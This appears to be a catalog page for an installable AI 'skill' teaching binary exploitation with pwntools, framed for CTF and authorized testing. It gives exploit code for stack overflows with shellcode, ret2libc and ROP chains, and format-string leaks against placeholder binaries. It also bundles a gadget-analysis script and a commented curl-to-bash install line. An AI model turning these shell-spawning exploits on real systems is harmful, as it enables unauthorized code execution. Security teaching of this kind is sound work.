offensive security

Performing Binary Exploitation Analysis

Analyze binary exploitation techniques including buffer overflows and ROP chains using pwntools Python library. Covers checksec analysis, gadget discovery with ROPgadget, and exploit development for CTF and authorized security assessments.

binary-exploitationbuffer-overflowpwntoolsrop-chains
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

For authorized security testing and CTF challenges only.

Analyze ELF binaries for exploitation vectors using checksec, ROPgadget, and pwntools for buffer overflow and ROP chain development.

When to Use

  • Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities
  • Solving binary exploitation challenges in CTF competitions
  • Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries
  • Developing proof-of-concept exploits for vulnerability reports to demonstrate impact
  • Training security engineers in exploit development techniques for defensive awareness
  • Validating that security patches for buffer overflow vulnerabilities are effective

Do not use against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).

Prerequisites

  • Linux system (Ubuntu/Debian recommended) for exploit development
  • Python 3.8+ with pwntools (pip install pwntools)
  • GDB with pwndbg or GEF plugin for enhanced debugging
  • ROPgadget for ROP chain gadget discovery (pip install ROPgadget)
  • checksec (included with pwntools or standalone via apt install checksec)
  • Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)
  • Basic understanding of x86/x86_64 calling conventions and stack layout

Workflow

Step 1: Install the Exploitation Toolkit

# Install pwntools and dependencies
pip install pwntools ROPgadget
 
# Install GDB with pwndbg plugin
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
 
# Alternatively, install GEF (GDB Enhanced Features)
# bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
 
# Install supporting tools
sudo apt install -y gdb nasm gcc-multilib libc6-dbg
 
# Verify installation
python3 -c "from pwn import *; print('pwntools version:', version)"
checksec --version
ROPgadget --version

Step 2: Analyze Binary Protections with checksec

Before writing any exploit, enumerate the security mitigations compiled into the binary:

from pwn import *
 
# Load the target binary
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
 
# checksec output explains what mitigations are in place
print(f"Architecture: {elf.arch}")
print(f"Bits: {elf.bits}")
print(f"Endianness: {elf.endian}")
print()
 
# Key security properties
# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT
# Stack Canary: Detects stack buffer overflows via random canary value
# NX (No-eXecute): Prevents executing code on the stack (DEP)
# PIE: Position Independent Executable, randomizes base address
# ASLR: OS-level address randomization (check /proc/sys/kernel/randomize_va_space)
 
# Also available via command line:
# checksec --file=./vulnerable_server
# Command-line checksec output example:
checksec --file=./vulnerable_server
# RELRO           STACK CANARY      NX            PIE
# Partial RELRO   No canary found   NX disabled   No PIE
 
# Check ASLR status on the system
cat /proc/sys/kernel/randomize_va_space
# 0 = disabled, 1 = conservative, 2 = full randomization

Step 3: Find the Buffer Overflow Offset

Determine exactly how many bytes are needed to overwrite the return address:

from pwn import *
 
context.binary = ELF("./vulnerable_server")
context.log_level = "info"
 
# Method 1: Use cyclic pattern to find exact offset
# Generate a unique cyclic pattern
pattern_length = 200
pattern = cyclic(pattern_length)
print(f"Generated cyclic pattern of length {pattern_length}")
 
# Send the pattern to the binary
p = process("./vulnerable_server")
p.sendline(pattern)
p.wait()
 
# After the crash, read the value in RIP/EIP from core dump or GDB
# Then find the offset:
# For 64-bit: crashed_value = p.corefile.fault_addr
# Or manually from GDB: "info registers rip" after crash
crashed_rip = 0x6161616c  # Example value from crash
offset = cyclic_find(crashed_rip)
print(f"Offset to return address: {offset} bytes")
 
# Method 2: Use GDB with pwndbg to find offset interactively
# In GDB:
#   pwndbg> cyclic 200
#   pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(200).decode())")
#   pwndbg> cyclic -l $rsp   (or cyclic -l <value in RIP>)

Step 4: Exploit a Stack Buffer Overflow (NX Disabled)

When NX is disabled, inject and execute shellcode directly on the stack:

from pwn import *
 
# Configuration
binary_path = "./vulnerable_server"
context.binary = ELF(binary_path)
context.arch = "amd64"  # or "i386" for 32-bit
 
OFFSET = 72  # Determined in Step 3
 
# Generate shellcode
# execve("/bin/sh", NULL, NULL) - spawn a shell
shellcode = asm(shellcraft.sh())
print(f"Shellcode length: {len(shellcode)} bytes")
 
# Build the exploit payload
# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]
nop_sled = asm("nop") * 32
 
# For a local exploit without ASLR, we can estimate the buffer address
# Run in GDB first to find the buffer address:
#   break *main+XX  (after read/gets call)
#   x/20x $rsp
buffer_addr = 0x7fffffffe000  # Example - get from GDB
 
padding_len = OFFSET - len(nop_sled) - len(shellcode)
payload = nop_sled + shellcode + b"A" * padding_len + p64(buffer_addr)
 
# Launch exploit
p = process(binary_path)
p.sendline(payload)
p.interactive()  # Interact with the spawned shell

Step 5: Build a ROP Chain (NX Enabled)

When NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):

# Find ROP gadgets in the binary
ROPgadget --binary ./vulnerable_server
 
# Find specific gadgets
ROPgadget --binary ./vulnerable_server --only "pop|ret"
ROPgadget --binary ./vulnerable_server --only "mov|ret"
 
# Search for gadgets to control registers for syscall
ROPgadget --binary ./vulnerable_server | grep "pop rdi"
ROPgadget --binary ./vulnerable_server | grep "pop rsi"
ROPgadget --binary ./vulnerable_server | grep "pop rdx"
ROPgadget --binary ./vulnerable_server | grep "syscall"
 
# Find gadgets in libc (for ret2libc attacks)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20
from pwn import *
 
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
 
OFFSET = 72
 
# Method 1: ret2libc - call system("/bin/sh") via libc
# When the binary is dynamically linked and we know libc version
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 
# Start process to leak libc address
p = process(binary_path)
 
# If there is a format string or info leak, use it to find libc base
# Example: binary prints puts@GOT address
p.recvuntil(b"puts address: ")
puts_leak = int(p.recvline().strip(), 16)
libc.address = puts_leak - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
 
# Find a "pop rdi; ret" gadget for x86_64 calling convention
# First argument goes in RDI register
pop_rdi = elf.search(asm("pop rdi; ret")).__next__()
ret_gadget = elf.search(asm("ret")).__next__()  # Stack alignment
 
# Build the ROP chain: system("/bin/sh")
bin_sh_addr = next(libc.search(b"/bin/sh\x00"))
system_addr = libc.symbols["system"]
 
rop_chain = flat(
    b"A" * OFFSET,          # Padding to reach return address
    ret_gadget,              # Stack alignment (needed for movaps in system)
    pop_rdi,                 # pop rdi; ret - load /bin/sh address into RDI
    bin_sh_addr,             # Address of "/bin/sh" string in libc
    system_addr,             # Call system()
)
 
p.sendline(rop_chain)
p.interactive()

Step 6: Use pwntools ROP Helper for Automated Chain Building

from pwn import *
 
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
 
OFFSET = 72
 
# pwntools automatic ROP chain builder
rop = ROP(elf)
 
# If the binary has enough gadgets, pwntools can build chains automatically
# For execve("/bin/sh", 0, 0) syscall:
rop.call("puts", [elf.got["puts"]])  # Leak GOT entry
rop.call(elf.symbols["main"])        # Return to main for second stage
 
# Print the ROP chain for debugging
print(rop.dump())
 
# Build first-stage payload (leak libc)
stage1 = flat(
    b"A" * OFFSET,
    rop.chain()
)
 
p = process(binary_path)
p.sendline(stage1)
 
# Parse the leaked puts address
p.recvuntil(b"\n")  # Skip program output
leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts@GOT: {hex(leaked_puts)}")
 
# Calculate libc base
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked_puts - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
 
# Build second-stage ROP chain using libc gadgets
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
 
stage2 = flat(
    b"A" * OFFSET,
    rop2.chain()
)
 
p.sendline(stage2)
p.interactive()

Step 7: Debug Exploits with GDB and pwndbg

from pwn import *
 
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]  # or ["gnome-terminal", "--"]
 
# Launch binary under GDB with pwndbg
p = gdb.debug(binary_path, """
    # Set breakpoints at key locations
    break *main
    break *main+85
 
    # Continue to the vulnerable function
    continue
""")
 
# GDB commands useful during exploit development:
# pwndbg> vmmap              - Show memory mappings (find stack, heap, libc)
# pwndbg> checksec           - Show binary protections
# pwndbg> search -s "/bin/sh" - Find string in memory
# pwndbg> rop --grep "pop rdi" - Search for gadgets
# pwndbg> cyclic 200         - Generate cyclic pattern
# pwndbg> cyclic -l 0x616161 - Find offset from pattern value
# pwndbg> telescope $rsp 20  - Show stack contents
# pwndbg> x/20gx $rsp        - Examine stack as 64-bit values
# pwndbg> heap               - Analyze heap state
# pwndbg> got                 - Show GOT entries and resolved addresses
# pwndbg> plt                 - Show PLT entries
 
OFFSET = 72
payload = b"A" * OFFSET + p64(0xdeadbeef)
p.sendline(payload)
p.interactive()

Step 8: Handle PIE and ASLR with Information Leaks

from pwn import *
 
binary_path = "./vulnerable_pie_binary"
elf = ELF(binary_path)
context.binary = elf
 
# When PIE is enabled, we need to leak a code address to defeat randomization
# Common leak techniques:
# 1. Format string vulnerability: %p to leak stack/code pointers
# 2. Partial overwrite: overwrite only lower bytes of a pointer
# 3. Uninitialized memory: read stack memory containing code pointers
 
p = process(binary_path)
 
# Example: Using a format string leak to defeat PIE
# If the binary has a printf(user_input) vulnerability:
p.sendline(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
leak_output = p.recvline().strip().decode()
leaked_addrs = leak_output.split(".")
 
# Parse leaked addresses to find a code pointer
for i, addr in enumerate(leaked_addrs):
    try:
        val = int(addr, 16)
        # PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit
        if 0x550000000000 <= val <= 0x560000000000:
            log.info(f"Offset {i}: {addr} (likely PIE code address)")
        # libc addresses typically at 0x7fXXXXXXXXXX
        elif 0x7f0000000000 <= val <= 0x800000000000:
            log.info(f"Offset {i}: {addr} (likely libc address)")
    except ValueError:
        continue
 
# Once we have a leaked PIE address, calculate the binary base
leaked_code_addr = int(leaked_addrs[5], 16)  # Example offset
elf.address = leaked_code_addr - elf.symbols["main"]  # Adjust for known offset
log.success(f"PIE base: {hex(elf.address)}")
 
# Now we can use absolute addresses in our ROP chain
rop = ROP(elf)
# ... build chain using elf.symbols which are now correctly rebased

Step 9: Exploit a Remote Target

from pwn import *
 
# Configuration
REMOTE_HOST = "target.ctf.example.com"
REMOTE_PORT = 9001
binary_path = "./vulnerable_server"
 
elf = ELF(binary_path)
context.binary = elf
 
def exploit(target):
    """Run the full exploit chain against a target (local or remote)."""
    OFFSET = 72
 
    # Stage 1: Leak libc
    rop1 = ROP(elf)
    rop1.call("puts", [elf.got["puts"]])
    rop1.call(elf.symbols["main"])
 
    payload1 = flat(b"A" * OFFSET, rop1.chain())
    target.sendlineafter(b"Input: ", payload1)
 
    leaked = u64(target.recvline().strip().ljust(8, b"\x00"))
    log.success(f"Leaked puts: {hex(leaked)}")
 
    # Stage 2: ret2libc
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    libc.address = leaked - libc.symbols["puts"]
 
    rop2 = ROP(libc)
    rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
 
    payload2 = flat(b"A" * OFFSET, rop2.chain())
    target.sendlineafter(b"Input: ", payload2)
 
    target.interactive()
 
# Test locally first
log.info("Testing exploit locally...")
local = process(binary_path)
exploit(local)
 
# Then run against remote target
# log.info("Running exploit against remote target...")
# remote = remote(REMOTE_HOST, REMOTE_PORT)
# exploit(remote)

Verification

  • Confirm checksec correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection
  • Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the ret instruction and confirming RIP/EIP contains the expected cyclic value
  • Test shellcode payloads execute correctly in a controlled environment with NX disabled
  • Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall/function call
  • Confirm the exploit works both locally (process()) and against a remote target (remote()) when the correct libc version is used
  • Verify that PIE bypass correctly rebases all addresses by checking GDB vmmap output against calculated addresses
  • Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)
  • Run ROPgadget output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md1.7 KB

API Reference: Binary Exploitation Analysis

pwntools (Python)

pip install pwntools

ELF Analysis

from pwn import ELF, ROP, context
 
elf = ELF('./vulnerable_binary')
print(elf.checksec())         # Security mitigations
print(hex(elf.sym['main']))   # Symbol address
print(hex(elf.plt['system'])) # PLT entry
print(hex(elf.got['puts']))   # GOT entry
 
# ROP gadget discovery
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]

Exploit Template

from pwn import *
 
context.binary = elf = ELF('./vuln')
p = process('./vuln')  # or remote('host', port)
payload = flat(b'A' * offset, pop_rdi, next(elf.search(b'/bin/sh')), elf.plt['system'])
p.sendline(payload)
p.interactive()

checksec CLI

checksec --file ./binary
checksec --file ./binary --output json

Output Fields

Field Values Impact
NX Enabled/Disabled No shellcode on stack
PIE Enabled/Disabled Randomized addresses
Canary Found/Not found Stack smash detection
RELRO Full/Partial/None GOT write protection

ROPgadget CLI

# Find all gadgets
ROPgadget --binary ./vuln
 
# Search specific gadget
ROPgadget --binary ./vuln --only "pop|ret"
 
# Generate ROP chain
ROPgadget --binary ./vuln --ropchain

Dangerous Functions

Function Risk
gets() Unbounded stdin read
strcpy() No length check
sprintf() No length check
scanf() Possible overflow

MITRE ATT&CK

Technique Description
T1203 Exploitation for Client Execution
T1068 Exploitation for Privilege Escalation
T1211 Exploitation for Defense Evasion

Scripts 1

agent.py7.7 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Binary exploitation analysis agent.

# For authorized security testing and CTF challenges only

Analyzes ELF binaries for security mitigations, discovers ROP gadgets,
and assists exploit development using pwntools and checksec.
"""

import argparse
import json
import subprocess
import sys
import datetime

try:
    from pwn import ELF, ROP
    HAS_PWNTOOLS = True
except ImportError:
    HAS_PWNTOOLS = False


def run_checksec(binary_path):
    """Analyze binary security mitigations using checksec."""
    if HAS_PWNTOOLS:
        try:
            elf = ELF(binary_path, checksec=False)
            return {
                "arch": elf.arch,
                "bits": elf.bits,
                "endian": elf.endian,
                "nx": elf.nx,
                "pie": elf.pie,
                "canary": elf.canary,
                "relro": "Full" if elf.relro == "Full" else ("Partial" if elf.relro else "None"),
                "stripped": not elf.sym,
                "static": elf.statically_linked,
            }
        except Exception as e:
            return {"error": str(e)}
    try:
        result = subprocess.run(["checksec", "--file", binary_path, "--output", "json"],
                                capture_output=True, text=True, timeout=10)
        if result.stdout:
            return json.loads(result.stdout)
    except (FileNotFoundError, subprocess.TimeoutExpired, json.JSONDecodeError):
        pass
    return {"error": "Neither pwntools nor checksec available"}


def find_rop_gadgets(binary_path, max_gadgets=20):
    """Find ROP gadgets using pwntools or ROPgadget."""
    if HAS_PWNTOOLS:
        try:
            elf = ELF(binary_path, checksec=False)
            rop = ROP(elf)
            gadgets = []
            for gadget in rop.gadgets.values():
                if len(gadgets) >= max_gadgets:
                    break
                gadgets.append({
                    "address": hex(gadget.address),
                    "insns": "; ".join(gadget.insns),
                })
            return gadgets
        except Exception as e:
            return [{"error": str(e)}]
    try:
        result = subprocess.run(
            ["ROPgadget", "--binary", binary_path, "--count", str(max_gadgets)],
            capture_output=True, text=True, timeout=30
        )
        gadgets = []
        for line in result.stdout.splitlines():
            if " : " in line:
                parts = line.split(" : ", 1)
                gadgets.append({"address": parts[0].strip(), "insns": parts[1].strip()})
        return gadgets[:max_gadgets]
    except (FileNotFoundError, subprocess.TimeoutExpired):
        return [{"error": "Neither pwntools ROP nor ROPgadget available"}]


def find_useful_functions(binary_path):
    """Find useful functions for exploitation (system, exec, write, etc.)."""
    if not HAS_PWNTOOLS:
        return {"error": "pwntools not available"}
    try:
        elf = ELF(binary_path, checksec=False)
        interesting = ["system", "execve", "exec", "popen", "gets", "strcpy",
                       "sprintf", "read", "write", "puts", "printf", "mprotect"]
        found = {}
        for func in interesting:
            addr = elf.sym.get(func) or elf.plt.get(func)
            if addr:
                found[func] = hex(addr)
        got_entries = {}
        for name in ["system", "printf", "puts", "__libc_start_main"]:
            if name in elf.got:
                got_entries[name] = hex(elf.got[name])
        return {"functions": found, "got_entries": got_entries}
    except Exception as e:
        return {"error": str(e)}


def find_vulnerable_functions(binary_path):
    """Identify potentially vulnerable functions in the binary."""
    dangerous = {"gets": "Unbounded read - guaranteed buffer overflow",
                 "strcpy": "No length check - possible overflow",
                 "strcat": "No length check - possible overflow",
                 "sprintf": "No length check - possible overflow",
                 "scanf": "Possible format string / overflow",
                 "vsprintf": "No length check - possible overflow"}
    if not HAS_PWNTOOLS:
        return {"error": "pwntools not available"}
    try:
        elf = ELF(binary_path, checksec=False)
        found = []
        for func, reason in dangerous.items():
            if func in elf.plt or func in elf.sym:
                found.append({"function": func, "reason": reason,
                              "address": hex(elf.plt.get(func, elf.sym.get(func, 0)))})
        return found
    except Exception as e:
        return [{"error": str(e)}]


def analyze_binary(binary_path):
    """Full binary exploitation analysis."""
    report = {
        "binary": binary_path,
        "timestamp": datetime.datetime.utcnow().isoformat() + "Z",
        "checksec": run_checksec(binary_path),
        "dangerous_functions": find_vulnerable_functions(binary_path),
        "useful_functions": find_useful_functions(binary_path),
        "rop_gadgets": find_rop_gadgets(binary_path, max_gadgets=15),
    }
    mitigations = report["checksec"]
    if isinstance(mitigations, dict) and "error" not in mitigations:
        report["exploit_difficulty"] = "HARD" if all([
            mitigations.get("nx"), mitigations.get("pie"),
            mitigations.get("canary"), mitigations.get("relro") == "Full"
        ]) else "MEDIUM" if mitigations.get("nx") else "EASY"
    return report


def main():
    parser = argparse.ArgumentParser(
        description="Binary exploitation analysis agent (authorized testing only)"
    )
    parser.add_argument("binary", nargs="?", help="Path to ELF binary")
    parser.add_argument("--checksec-only", action="store_true", help="Only run checksec")
    parser.add_argument("--gadgets", type=int, default=15, help="Max ROP gadgets to find")
    parser.add_argument("--output", "-o", help="Output JSON report path")
    args = parser.parse_args()

    print("[*] Binary Exploitation Analysis Agent")
    print("[*] For authorized security testing and CTF challenges only")
    print(f"    pwntools available: {HAS_PWNTOOLS}")

    if not args.binary:
        print("\nUsage: python agent.py /path/to/binary [--checksec-only] [--gadgets 20]")
        print("  Analyzes: mitigations, dangerous functions, ROP gadgets, GOT entries")
        print(json.dumps({"demo": True, "pwntools": HAS_PWNTOOLS}, indent=2))
        sys.exit(0)

    if args.checksec_only:
        result = run_checksec(args.binary)
        print(json.dumps(result, indent=2))
        sys.exit(0)

    report = analyze_binary(args.binary)
    checksec = report.get("checksec", {})
    if isinstance(checksec, dict) and "error" not in checksec:
        print(f"\n[*] Architecture: {checksec.get('arch')} ({checksec.get('bits')}-bit)")
        print(f"    NX: {checksec.get('nx')} | PIE: {checksec.get('pie')} | "
              f"Canary: {checksec.get('canary')} | RELRO: {checksec.get('relro')}")
        print(f"    Exploit difficulty: {report.get('exploit_difficulty', '?')}")

    dangerous = report.get("dangerous_functions", [])
    if isinstance(dangerous, list) and dangerous:
        print(f"\n[!] Dangerous functions found: {len(dangerous)}")
        for d in dangerous:
            if "error" not in d:
                print(f"    {d['function']} @ {d['address']}: {d['reason']}")

    gadgets = report.get("rop_gadgets", [])
    if gadgets and "error" not in gadgets[0]:
        print(f"\n[*] ROP gadgets found: {len(gadgets)}")
        for g in gadgets[:5]:
            print(f"    {g['address']}: {g['insns']}")

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
    print(json.dumps({"difficulty": report.get("exploit_difficulty", "unknown"),
                       "gadgets": len(gadgets)}, indent=2))


if __name__ == "__main__":
    main()
Keep exploring